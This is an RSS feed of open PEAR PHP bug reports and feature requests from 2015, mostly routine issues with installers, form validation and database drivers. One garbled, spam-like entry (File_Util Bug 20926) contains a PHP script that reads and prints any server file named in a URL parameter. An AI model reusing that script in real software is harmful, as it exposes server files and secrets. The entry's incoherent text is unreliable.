-                $pkg-&gt;setConfig($this-&gt;config);
+                $pkg-&gt;setConfig($this-&gt;config, false);
                 if ($list = $pkg-&gt;listPostinstallScripts()) {
                     $pn =
                     $reg-&gt;parsedPackageNameToString(array('channel' =&gt;
                        $param-&gt;getChannel(), 'package' =&gt;
                        $param-&gt;getPackage()), true);

But I have no idea whether this is a correct fix. Could you please look
at this ASAP as it breaks all packaging efforts of third party modules
(DEB and RPM).</pre>]]></description>
      <dc:date>2015-12-12T13:24:03+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20995">
      <title>PEAR: Bug 20995 [Open] package files not downloaded from mirror server</title>
      <link>http://pear.php.net/bugs/20995</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by cweiske
2015-12-11T21:11:46+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
When using a mirror server, the PEAR installer still downloads the package files from the main server because the REST XML files contain the full URI to the file.

This makes the mirror useless, since it cannot be used in case of a main server failure.

See http://de.pear.php.net/rest/r/console_commandline/1.2.0.xml for an example with a full URL.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by cweiske
2015-12-11T21:11:46+00:00
PHP: Irrelevant OS:  Package Version: 1.10.1

Description:
------------
When using a mirror server, the PEAR installer still downloads the package files from the main server because the REST XML files contain the full URI to the file.

This makes the mirror useless, since it cannot be used in case of a main server failure.

See http://de.pear.php.net/rest/r/console_commandline/1.2.0.xml for an example with a full URL.</pre>]]></description>
      <dc:date>2015-12-11T21:11:46+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20988">
      <title>PEAR: Bug 20988 [Open] custom pearrc is not passeed by bin/pear to pearcmd</title>
      <link>http://pear.php.net/bugs/20988</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by ale
2015-12-08T14:07:14+00:00
PHP: 5.6.14 OS: os x / homebrew Package Version: 1.10.1

Description:
------------
after having successfully completed a pear install local to a project, all ./bin/pear commands modify the system wide pear.

the peculiar part seem to be that i've set pearrc to be inside of the project's include file.

adding a -c option to the pearcmd exec command in ./bin/pear solves the issue:

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir=&quot;&quot; -d safe_mode=0 -d register_argc_argv=&quot;On&quot; -d auto_prepend_file=&quot;&quot; -d auto_append_file=&quot;&quot; $INCDIR/pearcmd.php  -c /Users/ale/httpd/project_name/include/pear/pearrc &quot;$@&quot;

i guess that the go-pear.phar should add that option to the exec command when tweaking the pear/bin/pear file.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by ale
2015-12-08T14:07:14+00:00
PHP: 5.6.14 OS: os x / homebrew Package Version: 1.10.1

Description:
------------
after having successfully completed a pear install local to a project, all ./bin/pear commands modify the system wide pear.

the peculiar part seem to be that i've set pearrc to be inside of the project's include file.

adding a -c option to the pearcmd exec command in ./bin/pear solves the issue:

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir=&quot;&quot; -d safe_mode=0 -d register_argc_argv=&quot;On&quot; -d auto_prepend_file=&quot;&quot; -d auto_append_file=&quot;&quot; $INCDIR/pearcmd.php  -c /Users/ale/httpd/project_name/include/pear/pearrc &quot;$@&quot;

i guess that the go-pear.phar should add that option to the exec command when tweaking the pear/bin/pear file.</pre>]]></description>
      <dc:date>2015-12-08T14:07:14+00:00</dc:date>
      <dc:creator>ale &amp;#x64;&amp;#111;&amp;#x74; comp_06 &amp;#x61;&amp;#116; xox &amp;#x64;&amp;#111;&amp;#x74; ch</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20985">
      <title>HTML_QuickForm2: Bug 20985 [Open] Empty rules is not supported for group containing group</title>
      <link>http://pear.php.net/bugs/20985</link>
      <content:encoded><![CDATA[<pre>HTML_QuickForm2 Bug
Reported by stav
2015-11-18T19:07:14+00:00
PHP: Irrelevant OS:  Package Version: 2.0.2

Description:
------------
* Create a main group
* Create a child group of main group
* add a validation rules 'empty' to main group

Validation generate a warning and don't fail if child group is non empty

Test script:
---------------
$form       = new HTML_QuickForm2('garage');
/** @var HTML_QuickForm2_Container_Group $carGroup */
$carGroup   = $form-&gt;addElement('group', 'car');
/** @var HTML_QuickForm2_Container_Group $motorGroup */
$motorGroup = $carGroup-&gt;addElement('group', 'motor');
$motorGroup-&gt;addElement('text', 'name');

$nameField = $carGroup-&gt;addElement('text', 'name');
$carGroup-&gt;addRule('empty');
$nameField-&gt;addRule('nonempty', 'name is required')
    -&gt;or_($carGroup-&gt;createRule('empty'));

$_POST['car'] = array('motor'=&gt;array('name'=&gt;'example'));
$form-&gt;addDataSource(new HTML_QuickForm2_DataSource_SuperGlobal('POST'));
var_dump($form-&gt;validate());

Expected result:
----------------
bool(false)

Actual result:
--------------
Warning: strlen() expects parameter 1 to be string, array given
bool(true)</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_QuickForm2 Bug
Reported by stav
2015-11-18T19:07:14+00:00
PHP: Irrelevant OS:  Package Version: 2.0.2

Description:
------------
* Create a main group
* Create a child group of main group
* add a validation rules 'empty' to main group

Validation generate a warning and don't fail if child group is non empty

Test script:
---------------
$form       = new HTML_QuickForm2('garage');
/** @var HTML_QuickForm2_Container_Group $carGroup */
$carGroup   = $form-&gt;addElement('group', 'car');
/** @var HTML_QuickForm2_Container_Group $motorGroup */
$motorGroup = $carGroup-&gt;addElement('group', 'motor');
$motorGroup-&gt;addElement('text', 'name');

$nameField = $carGroup-&gt;addElement('text', 'name');
$carGroup-&gt;addRule('empty');
$nameField-&gt;addRule('nonempty', 'name is required')
    -&gt;or_($carGroup-&gt;createRule('empty'));

$_POST['car'] = array('motor'=&gt;array('name'=&gt;'example'));
$form-&gt;addDataSource(new HTML_QuickForm2_DataSource_SuperGlobal('POST'));
var_dump($form-&gt;validate());

Expected result:
----------------
bool(false)

Actual result:
--------------
Warning: strlen() expects parameter 1 to be string, array given
bool(true)</pre>]]></description>
      <dc:date>2015-11-18T19:07:14+00:00</dc:date>
      <dc:creator>bastien &amp;#x64;&amp;#111;&amp;#x74; blanchard &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_QuickForm2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20982">
      <title>MDB2: Bug 20982 [Open] mdb2 postgresql driver cannot handle 'not null' constraint</title>
      <link>http://pear.php.net/bugs/20982</link>
      <content:encoded><![CDATA[<pre>MDB2 Bug
Reported by jonez
2015-11-13T05:27:49+00:00
PHP: Irrelevant OS: centos7 Package Version: 2.4.1

Description:
------------
MDB2 with a postgresql database does not properly handle a &quot;not null&quot; constraint. instead, it throws this error:

 PHP Fatal error:  Call to undefined function: MDB2_Driver_pgsql::raiseError(). in /usr/share/pear/MDB2.php on line 1936

this same error happens if permissions are wrong on a table or if a table does not exist, etc. 

postgresql 9.2.13


Expected result:
----------------
proper PEAR::Error instance

Actual result:
--------------
PHP Fatal Error</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2 Bug
Reported by jonez
2015-11-13T05:27:49+00:00
PHP: Irrelevant OS: centos7 Package Version: 2.4.1

Description:
------------
MDB2 with a postgresql database does not properly handle a &quot;not null&quot; constraint. instead, it throws this error:

 PHP Fatal error:  Call to undefined function: MDB2_Driver_pgsql::raiseError(). in /usr/share/pear/MDB2.php on line 1936

this same error happens if permissions are wrong on a table or if a table does not exist, etc. 

postgresql 9.2.13


Expected result:
----------------
proper PEAR::Error instance

Actual result:
--------------
PHP Fatal Error</pre>]]></description>
      <dc:date>2015-11-13T05:27:49+00:00</dc:date>
      <dc:creator>jam &amp;#x61;&amp;#116; zoidtechnologies &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20981">
      <title>PHP_Archive: Documentation Problem 20981 [Open] User note that is a documentation problem</title>
      <link>http://pear.php.net/bugs/20981</link>
      <content:encoded><![CDATA[<pre>PHP_Archive Documentation Problem
Reported by doconnor
2015-11-10T08:17:01+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 

Manual page: package.php.php-archive.intro.php
Note submitter:
contact at creativesparkstudios dot com

Just noticed that the example usage link doesn\'t seem to work: http://cvs.php.net/viewvc.cgi/pear-core/make-gopear-phar.php\r\n</pre>]]></content:encoded>
      <description><![CDATA[<pre>PHP_Archive Documentation Problem
Reported by doconnor
2015-11-10T08:17:01+00:00
PHP: Irrelevant OS: Irrelevant Package Version: 

Manual page: package.php.php-archive.intro.php
Note submitter:
contact at creativesparkstudios dot com

Just noticed that the example usage link doesn\'t seem to work: http://cvs.php.net/viewvc.cgi/pear-core/make-gopear-phar.php\r\n</pre>]]></description>
      <dc:date>2015-11-10T08:17:01+00:00</dc:date>
      <dc:creator>daniel &amp;#x64;&amp;#111;&amp;#x74; oconnor &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PHP_Archive Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20970">
      <title>PEAR: Bug 20970 [Open] setErrorHandling undefined</title>
      <link>http://pear.php.net/bugs/20970</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by jaemmer
2015-10-21T15:58:08+00:00
PHP: 5.5.30 OS: CentOS 6.7 Package Version: 

Description:
------------
I get a fatal error, undefined function on the last line of the test 
code below which previously worked before upgrading to the latest 
version.



 

Test script:
---------------
$db_object = MDB2::singleton($datasource, TRUE);
$db_object-&gt;loadModule('Extended');
$db_object-&gt;setFetchMode(MDB2_FETCHMODE_ASSOC);
$db_object-&gt;setOption('portability', MDB2_PORTABILITY_ALL ^ MDB2_PORTABILITY_FIX_CASE ^ MDB2_PORTABILITY_EMPTY_TO_NULL);
$db_object-&gt;setCharset('utf8');
//after upgrading to php 5.5.30-1 / pear 1.10.1 would get fatal error
$db_object-&gt;setErrorHandling(PEAR_ERROR_CALLBACK, 'db_error');

Expected result:
----------------
When a db sql error happens it should call back my db_error 
function.

Actual result:
--------------
Fatal error: Call to undefined function: 
MDB2_Driver_mysql::setErrorHandling(). in 
/usr/share/pear/MDB2.php on line 1936</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by jaemmer
2015-10-21T15:58:08+00:00
PHP: 5.5.30 OS: CentOS 6.7 Package Version: 

Description:
------------
I get a fatal error, undefined function on the last line of the test 
code below which previously worked before upgrading to the latest 
version.



 

Test script:
---------------
$db_object = MDB2::singleton($datasource, TRUE);
$db_object-&gt;loadModule('Extended');
$db_object-&gt;setFetchMode(MDB2_FETCHMODE_ASSOC);
$db_object-&gt;setOption('portability', MDB2_PORTABILITY_ALL ^ MDB2_PORTABILITY_FIX_CASE ^ MDB2_PORTABILITY_EMPTY_TO_NULL);
$db_object-&gt;setCharset('utf8');
//after upgrading to php 5.5.30-1 / pear 1.10.1 would get fatal error
$db_object-&gt;setErrorHandling(PEAR_ERROR_CALLBACK, 'db_error');

Expected result:
----------------
When a db sql error happens it should call back my db_error 
function.

Actual result:
--------------
Fatal error: Call to undefined function: 
MDB2_Driver_mysql::setErrorHandling(). in 
/usr/share/pear/MDB2.php on line 1936</pre>]]></description>
      <dc:date>2015-10-22T06:02:36+00:00</dc:date>
      <dc:creator>joel &amp;#x61;&amp;#116; inflatableoffice &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20966">
      <title>HTML_BBCodeParser2: Feature/Change Request 20966 [Open] Add a nl2br option</title>
      <link>http://pear.php.net/bugs/20966</link>
      <content:encoded><![CDATA[<pre>HTML_BBCodeParser2 Feature/Change Request
Reported by rmilecki
2015-10-15T16:14:24+00:00
PHP: Irrelevant OS: Debian Package Version: 0.1.0

Description:
------------
When writing some post/message in BBCode most users will expect line breaks to be respected. They should be converted to HTML's br element.</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_BBCodeParser2 Feature/Change Request
Reported by rmilecki
2015-10-15T16:14:24+00:00
PHP: Irrelevant OS: Debian Package Version: 0.1.0

Description:
------------
When writing some post/message in BBCode most users will expect line breaks to be respected. They should be converted to HTML's br element.</pre>]]></description>
      <dc:date>2015-10-15T16:14:24+00:00</dc:date>
      <dc:creator>zajec5 &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_BBCodeParser2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20965">
      <title>HTML_BBCodeParser2: Feature/Change Request 20965 [Open] BBCodeParser2 requires putting in main script directory (or main include dir)</title>
      <link>http://pear.php.net/bugs/20965</link>
      <content:encoded><![CDATA[<pre>HTML_BBCodeParser2 Feature/Change Request
Reported by rmilecki
2015-10-14T17:42:10+00:00
PHP: 5.6.13 OS: Debian Package Version: 0.1.0

Description:
------------
I'd like to be able to put BBCodeParser2 directory in some subdirectory of my 
project. Right now this is not possible because include_once will fail.

Test script:
---------------
require_once 'HTML_BBCodeParser2/HTML/BBCodeParser2.php';

Actual result:
--------------
&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught exception 'InvalidArgumentException' with 
message 'Failed to load filter Basic' in 
/home/user/includes/HTML_BBCodeParser2/HTML/BBCodeParser2.php:215</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_BBCodeParser2 Feature/Change Request
Reported by rmilecki
2015-10-14T17:42:10+00:00
PHP: 5.6.13 OS: Debian Package Version: 0.1.0

Description:
------------
I'd like to be able to put BBCodeParser2 directory in some subdirectory of my 
project. Right now this is not possible because include_once will fail.

Test script:
---------------
require_once 'HTML_BBCodeParser2/HTML/BBCodeParser2.php';

Actual result:
--------------
&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught exception 'InvalidArgumentException' with 
message 'Failed to load filter Basic' in 
/home/user/includes/HTML_BBCodeParser2/HTML/BBCodeParser2.php:215</pre>]]></description>
      <dc:date>2015-10-14T17:42:10+00:00</dc:date>
      <dc:creator>zajec5 &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_BBCodeParser2 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20961">
      <title>PEAR_Frontend_Web: Bug 20961 [Open] Call to undefined method PEAR::PEAR_Command_Common()</title>
      <link>http://pear.php.net/bugs/20961</link>
      <content:encoded><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by tonymarston
2015-10-08T16:24:51+00:00
PHP: 5.6.14 OS: Windows 7 Package Version: 

Description:
------------
I have just upgraded my pear installation to version 1.10.0, but when I use the Pear Package Manager and click on the &quot;List all packagenames&quot; link I get the following error:

Fatal error: Call to undefined method PEAR::PEAR_Command_Common() in F:\PHP5\pear\PEAR.php on line 219</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by tonymarston
2015-10-08T16:24:51+00:00
PHP: 5.6.14 OS: Windows 7 Package Version: 

Description:
------------
I have just upgraded my pear installation to version 1.10.0, but when I use the Pear Package Manager and click on the &quot;List all packagenames&quot; link I get the following error:

Fatal error: Call to undefined method PEAR::PEAR_Command_Common() in F:\PHP5\pear\PEAR.php on line 219</pre>]]></description>
      <dc:date>2015-10-08T16:56:29+00:00</dc:date>
      <dc:creator>tony &amp;#x61;&amp;#116; marston-home &amp;#x64;&amp;#111;&amp;#x74; demon &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>PEAR_Frontend_Web Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20958">
      <title>Net_SMPP: Bug 20958 [Open] Typo error in  Net/SMPP/Command/deliver_sm.php</title>
      <link>http://pear.php.net/bugs/20958</link>
      <content:encoded><![CDATA[<pre>Net_SMPP Bug
Reported by tomasz
2015-10-06T20:06:00+00:00
PHP: Irrelevant OS: Lunux Package Version: 0.4.5

Description:
------------
Typo error in 
Net/SMPP/Command/deliver_sm.php
Line 413:
        'callback_num' =&gt; array(
-           'type' =&gt; 'sting',
+          'type' =&gt; 'string',
            'min' =&gt; 4,
            'max' =&gt; 19
        ),</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_SMPP Bug
Reported by tomasz
2015-10-06T20:06:00+00:00
PHP: Irrelevant OS: Lunux Package Version: 0.4.5

Description:
------------
Typo error in 
Net/SMPP/Command/deliver_sm.php
Line 413:
        'callback_num' =&gt; array(
-           'type' =&gt; 'sting',
+          'type' =&gt; 'string',
            'min' =&gt; 4,
            'max' =&gt; 19
        ),</pre>]]></description>
      <dc:date>2015-10-06T20:06:00+00:00</dc:date>
      <dc:creator>t &amp;#x64;&amp;#111;&amp;#x74; kusy &amp;#x61;&amp;#116; sare &amp;#x64;&amp;#111;&amp;#x74; pl</dc:creator>
      <dc:subject>Net_SMPP Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20957">
      <title>HTML_QuickForm2: Bug 20957 [Open] Error with getting file array</title>
      <link>http://pear.php.net/bugs/20957</link>
      <content:encoded><![CDATA[<pre>HTML_QuickForm2 Bug
Reported by loki
2015-10-02T17:40:42+00:00
PHP: Irrelevant OS:  Package Version: 2.0.2

Description:
------------
Error getting uploaded file with using html file arrays:
&lt;input type='file' name='myfile[]' /&gt;

Test script:
---------------
$form=new HTML_QuickForm2(null, 'post', array('action'=&gt;'#'), false);
$file=$form-&gt;addElement('file', 'myfile[]', array('multiple'=&gt;'multiple'), array('label'=&gt;'Upload file'));

if ($form-&gt;validate()) {
  var_dump($form-&gt;getValue());
}


echo $form;

Expected result:
----------------
array
  'myfile' =&gt; 
    array
      'name' =&gt; 
        array
          0 =&gt; string 'file1.jpg' (length=36)
          1 =&gt; string 'file2.jpeg' (length=37)
          ...
      'type' =&gt; 
        array
          0 =&gt; string 'image/jpeg' (length=10)
          1 =&gt; string 'image/jpeg' (length=10)
          ...
      'tmp_name' =&gt; 
        array
          0 =&gt; string '/tmp/php2D.tmp' (length=16)
          1 =&gt; string '/tmp/php2E.tmp' (length=16)
          ...
      'error' =&gt; 
        array
          0 =&gt; int 0
          1 =&gt; int 0
          ...
      'size' =&gt; 
        array
          0 =&gt; int 5806
          1 =&gt; int 4979
          ...

Actual result:
--------------
empty</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_QuickForm2 Bug
Reported by loki
2015-10-02T17:40:42+00:00
PHP: Irrelevant OS:  Package Version: 2.0.2

Description:
------------
Error getting uploaded file with using html file arrays:
&lt;input type='file' name='myfile[]' /&gt;

Test script:
---------------
$form=new HTML_QuickForm2(null, 'post', array('action'=&gt;'#'), false);
$file=$form-&gt;addElement('file', 'myfile[]', array('multiple'=&gt;'multiple'), array('label'=&gt;'Upload file'));

if ($form-&gt;validate()) {
  var_dump($form-&gt;getValue());
}


echo $form;

Expected result:
----------------
array
  'myfile' =&gt; 
    array
      'name' =&gt; 
        array
          0 =&gt; string 'file1.jpg' (length=36)
          1 =&gt; string 'file2.jpeg' (length=37)
          ...
      'type' =&gt; 
        array
          0 =&gt; string 'image/jpeg' (length=10)
          1 =&gt; string 'image/jpeg' (length=10)
          ...
      'tmp_name' =&gt; 
        array
          0 =&gt; string '/tmp/php2D.tmp' (length=16)
          1 =&gt; string '/tmp/php2E.tmp' (length=16)
          ...
      'error' =&gt; 
        array
          0 =&gt; int 0
          1 =&gt; int 0
          ...
      'size' =&gt; 
        array
          0 =&gt; int 5806
          1 =&gt; int 4979
          ...

Actual result:
--------------
empty</pre>]]></description>
      <dc:date>2015-10-02T17:40:42+00:00</dc:date>
      <dc:creator>loki_angel &amp;#x61;&amp;#116; mail &amp;#x64;&amp;#111;&amp;#x74; ru</dc:creator>
      <dc:subject>HTML_QuickForm2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20951">
      <title>System_Daemon: Feature/Change Request 20951 [Open] Please upgrade version to latest git</title>
      <link>http://pear.php.net/bugs/20951</link>
      <content:encoded><![CDATA[<pre>System_Daemon Feature/Change Request
Reported by shankao
2015-09-25T13:56:56+00:00
PHP: Irrelevant OS: Ubuntu Package Version: 1.0.0

Description:
------------
There's not been any official release for a long time, although 
bugs are fixed in the github version.</pre>]]></content:encoded>
      <description><![CDATA[<pre>System_Daemon Feature/Change Request
Reported by shankao
2015-09-25T13:56:56+00:00
PHP: Irrelevant OS: Ubuntu Package Version: 1.0.0

Description:
------------
There's not been any official release for a long time, although 
bugs are fixed in the github version.</pre>]]></description>
      <dc:date>2015-09-25T13:56:56+00:00</dc:date>
      <dc:creator>shankao &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>System_Daemon Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20947">
      <title>DB_DataObject: Bug 20947 [Open] _pgFieldFlags fails in postgres 9.4 with multiple schemas (fix included)</title>
      <link>http://pear.php.net/bugs/20947</link>
      <content:encoded><![CDATA[<pre>DB_DataObject Bug
Reported by pyrliu
2015-09-11T15:39:44+00:00
PHP: 5.5.29 OS: Linux Package Version: 

Description:
------------
I use DB_DataObject and the generator produced wrong sequence keys + 
multiple flags + wrong flags for fields. Debugged and noticed that the 
$tableWhere query in _pgFieldFlags was missing a join with pg_type:

//code producing wrong result
$tableWhere = &quot;tab.relname = '$table' AND tab.relnamespace = nsp.oid AND 
nsp.nspname = '$schema'&quot;;

//code producing correct result
$tableWhere = &quot;tab.relname = '$table' AND tab.relnamespace = nsp.oid AND 
nsp.nspname = '$schema' AND typ.typnamespace = nsp.oid&quot;;

My setup is Postgres 9.4 with 30+ schemas. The actual result was that it 
included all flags that came when the query is run without the 'AND 
typ.typnamespace = nsp.oid' join.

Just FYI about this fix for those who experience this problem. I have 
everything working now as I am overloading the DB_DataObject generator 
and have implemented my own fixes.

Expected result:
----------------
//id
'not_null default_nextval%28SCHEMA.SEQUENCE%29 primary_key'
//no flags
''
//unique not null field
'not_null unique'

Actual result:
--------------
//id
'not_null default_nextval%28SCHEMA.SEQUENCE%29 primary_key 
primary_key primary_key primary_key primary_key primary_key 
primary_key primary_key'
//no flags
'unique'
//unique not null field
'not_null unique unique unique unique unique unique unique unique'</pre>]]></content:encoded>
      <description><![CDATA[<pre>DB_DataObject Bug
Reported by pyrliu
2015-09-11T15:39:44+00:00
PHP: 5.5.29 OS: Linux Package Version: 

Description:
------------
I use DB_DataObject and the generator produced wrong sequence keys + 
multiple flags + wrong flags for fields. Debugged and noticed that the 
$tableWhere query in _pgFieldFlags was missing a join with pg_type:

//code producing wrong result
$tableWhere = &quot;tab.relname = '$table' AND tab.relnamespace = nsp.oid AND 
nsp.nspname = '$schema'&quot;;

//code producing correct result
$tableWhere = &quot;tab.relname = '$table' AND tab.relnamespace = nsp.oid AND 
nsp.nspname = '$schema' AND typ.typnamespace = nsp.oid&quot;;

My setup is Postgres 9.4 with 30+ schemas. The actual result was that it 
included all flags that came when the query is run without the 'AND 
typ.typnamespace = nsp.oid' join.

Just FYI about this fix for those who experience this problem. I have 
everything working now as I am overloading the DB_DataObject generator 
and have implemented my own fixes.

Expected result:
----------------
//id
'not_null default_nextval%28SCHEMA.SEQUENCE%29 primary_key'
//no flags
''
//unique not null field
'not_null unique'

Actual result:
--------------
//id
'not_null default_nextval%28SCHEMA.SEQUENCE%29 primary_key 
primary_key primary_key primary_key primary_key primary_key 
primary_key primary_key'
//no flags
'unique'
//unique not null field
'not_null unique unique unique unique unique unique unique unique'</pre>]]></description>
      <dc:date>2018-07-20T18:15:20+00:00</dc:date>
      <dc:creator>pyry &amp;#x61;&amp;#116; imaginer &amp;#x64;&amp;#111;&amp;#x74; fi</dc:creator>
      <dc:subject>DB_DataObject Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20944">
      <title>HTML_CSS: Bug 20944 [Open] Redefining already defined constructor for class HTML_CSS</title>
      <link>http://pear.php.net/bugs/20944</link>
      <content:encoded><![CDATA[<pre>HTML_CSS Bug
Reported by tomor
2015-08-31T13:39:01+00:00
PHP: 5.5.28 OS: centos 2.6.32-573.3.1.el6.x86_64 Package Version: 1.5.4

Description:
------------
Since php 5.4 you should not have function __construct and old type constructor - 
method name same as class - HTML_CSS() in one class.

When you do, php generates warning - Redefining already defined constructor for 
class HTML_CSS

I suggest just to delete old type constructor - 
function HTML_CSS($attributes = array(), $errorPrefs = array())

I found old report here - https://pear.php.net/bugs/bug.php?id=16255

Can you create new major version and fix this issue please?

Test script:
---------------
require_once 'HTML/CSS.php';
new HTML_CSS();

Expected result:
----------------
No PHP warning is generated.

Actual result:
--------------
PHP Notice: 
Redefining already defined constructor for class HTML_CSS</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_CSS Bug
Reported by tomor
2015-08-31T13:39:01+00:00
PHP: 5.5.28 OS: centos 2.6.32-573.3.1.el6.x86_64 Package Version: 1.5.4

Description:
------------
Since php 5.4 you should not have function __construct and old type constructor - 
method name same as class - HTML_CSS() in one class.

When you do, php generates warning - Redefining already defined constructor for 
class HTML_CSS

I suggest just to delete old type constructor - 
function HTML_CSS($attributes = array(), $errorPrefs = array())

I found old report here - https://pear.php.net/bugs/bug.php?id=16255

Can you create new major version and fix this issue please?

Test script:
---------------
require_once 'HTML/CSS.php';
new HTML_CSS();

Expected result:
----------------
No PHP warning is generated.

Actual result:
--------------
PHP Notice: 
Redefining already defined constructor for class HTML_CSS</pre>]]></description>
      <dc:date>2015-08-31T13:39:01+00:00</dc:date>
      <dc:creator>t &amp;#x61;&amp;#116; tomor &amp;#x64;&amp;#111;&amp;#x74; cz</dc:creator>
      <dc:subject>HTML_CSS Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20938">
      <title>Mail_Mime: Feature/Change Request 20938 [Open] Support for PGP encrypted &amp; signed mails</title>
      <link>http://pear.php.net/bugs/20938</link>
      <content:encoded><![CDATA[<pre>Mail_Mime Feature/Change Request
Reported by cweiske
2015-08-19T03:19:22+00:00
PHP: Irrelevant OS:  Package Version: 1.9.0

Description:
------------
Mail_mime should support PGP signed/encrypted mails.

This is defined in RFC 1991; https://tools.ietf.org/html/rfc1991</pre>]]></content:encoded>
      <description><![CDATA[<pre>Mail_Mime Feature/Change Request
Reported by cweiske
2015-08-19T03:19:22+00:00
PHP: Irrelevant OS:  Package Version: 1.9.0

Description:
------------
Mail_mime should support PGP signed/encrypted mails.

This is defined in RFC 1991; https://tools.ietf.org/html/rfc1991</pre>]]></description>
      <dc:date>2015-08-19T22:08:51+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Mail_Mime Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20926">
      <title>File_Util: Bug 20926 [Open] Dynamic loading</title>
      <link>http://pear.php.net/bugs/20926</link>
      <content:encoded><![CDATA[<pre>File_Util Bug
Reported by mbiama
2015-07-26T23:09:36+00:00
PHP: 5.6.11 OS: Linux, Windows, Mac Package Version: SVN

Description:
------------
Common Debugging protocol
Cross-language: PHP, HHVM, Python, Perl...

Test script:
---------------
/**
....
*/
static public function register()
{
spl_autoload_register(array(self::instance(), 'autoload'))Ã ;
}

/**
* Load class source code
*
*@param string class
*/
public function autoload($class)
{
if ($this-&gt;_collectionClass)
$this-&gt;_arrLoadedClass[self::$_scope][] = $class;
}
if ($this-&gt;_isincludePathDefined){
$classFile = COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR
..$class;
} else {}

Expected result:
----------------
&lt;?php


bin
ang

/**

* It should be accesible like this:

* http://.../source.php?path=/var/www/mysourcecode/file.php
*/



$allowed = array(

'250 2.1.5'

);



if (isset($_SERVER['REMOTE_ADDR']) &amp;&amp; 
in_array($_SERVER['REMOTE_ADDR'],
$allowed)) {



$f = '';



if (isset($_GET['path'])) {

$filename = $_GET['path'];



if ($filename) {

$f = file_get_contents($filename);

}

}



header('Content-type: text/plain');

echo $f;



} else {



echo 'Permission denied!';



}



-- 
Permanent link at bugs.php.net/bug.php?id=70136&amp;edit=2</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_Util Bug
Reported by mbiama
2015-07-26T23:09:36+00:00
PHP: 5.6.11 OS: Linux, Windows, Mac Package Version: SVN

Description:
------------
Common Debugging protocol
Cross-language: PHP, HHVM, Python, Perl...

Test script:
---------------
/**
....
*/
static public function register()
{
spl_autoload_register(array(self::instance(), 'autoload'))Ã ;
}

/**
* Load class source code
*
*@param string class
*/
public function autoload($class)
{
if ($this-&gt;_collectionClass)
$this-&gt;_arrLoadedClass[self::$_scope][] = $class;
}
if ($this-&gt;_isincludePathDefined){
$classFile = COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR
..$class;
} else {}

Expected result:
----------------
&lt;?php


bin
ang

/**

* It should be accesible like this:

* http://.../source.php?path=/var/www/mysourcecode/file.php
*/



$allowed = array(

'250 2.1.5'

);



if (isset($_SERVER['REMOTE_ADDR']) &amp;&amp; 
in_array($_SERVER['REMOTE_ADDR'],
$allowed)) {



$f = '';



